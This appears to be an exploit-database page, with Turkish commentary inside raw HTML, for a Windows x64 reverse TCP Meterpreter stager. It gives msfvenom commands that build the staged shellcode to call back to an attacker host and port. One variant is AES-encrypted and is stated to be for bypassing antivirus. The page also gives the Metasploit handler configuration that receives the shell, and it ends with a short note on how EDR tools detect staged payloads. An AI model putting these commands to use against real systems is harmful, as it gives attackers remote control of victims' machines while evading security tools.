VULN REPORT
/
shellcode
/
ID: 251
Windows/x64 Reverse TCP Shell Meterpreter Stager - 460 Bytes
Summary
This entry details a vulnerability found in the target system. The exploit was published on 2026-07-21 and has garnered 38 views from the community. It is classified under the shellcode category. Users are advised to review the source code in the Detail tab for technical specifics.
exploit_251.txt
<div class="space-y-8 text-slate-800 font-sans leading-relaxed">
<div class="border-l-4 border-red-500 pl-5 py-3 bg-red-50/60 rounded-r-xl">
<p class="text-xs font-bold uppercase tracking-widest text-red-700 mb-1">Modern Shellcode - Windows x64 - Staged</p>
<h2 class="text-2xl font-extrabold text-slate-900 leading-tight">Windows/x64 Reverse TCP Meterpreter Stager - 460 Bytes</h2>
<p class="text-sm text-slate-600 mt-2">Staged shellcode iki bolumden olusur: kucuk stager (Stage-1) ve buyuk asil payload (Stage-2). Stager, saldirgan sunucusuna baglanir ve Meterpreter payload'ini bellekte calistirir.</p>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Staged Shellcode Mimarisi</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
[Hedef Sistem] [Saldirgan]
Stage-1 calisir -----> Metasploit Listener
Payload indir <----- Stage-2 (Meterpreter)
Stage-2 bellekte calisir
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">msfvenom ile Uretim</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
-f raw -o stage1.bin
# AES sifreleme - AV bypass icin
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.50 LPORT=4444 \
--encrypt aes256 --encrypt-key key123 \
-f raw -o stage1_enc.bin
</div>
</div>
<div>
<h3 class="text-xl font-bold text-slate-900 border-b border-slate-200 pb-2 mb-4">Listener</h3>
<div class="bg-slate-900 text-slate-300 p-4 rounded-xl font-mono text-xs overflow-x-auto shadow-inner leading-5">
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run -j
</div>
</div>
<div class="bg-amber-50 border border-amber-200 rounded-xl p-4"><p class="text-xs font-bold text-amber-800 mb-1">EDR Tespit</p><p class="text-xs text-amber-700">Staged shellcode'u modern EDR'ler reflective loading, API hashing ve syscall pattern'lerinden tespit eder.</p></div>
</div>
Entry Stats
Views
38
Downloads
9
Comments
0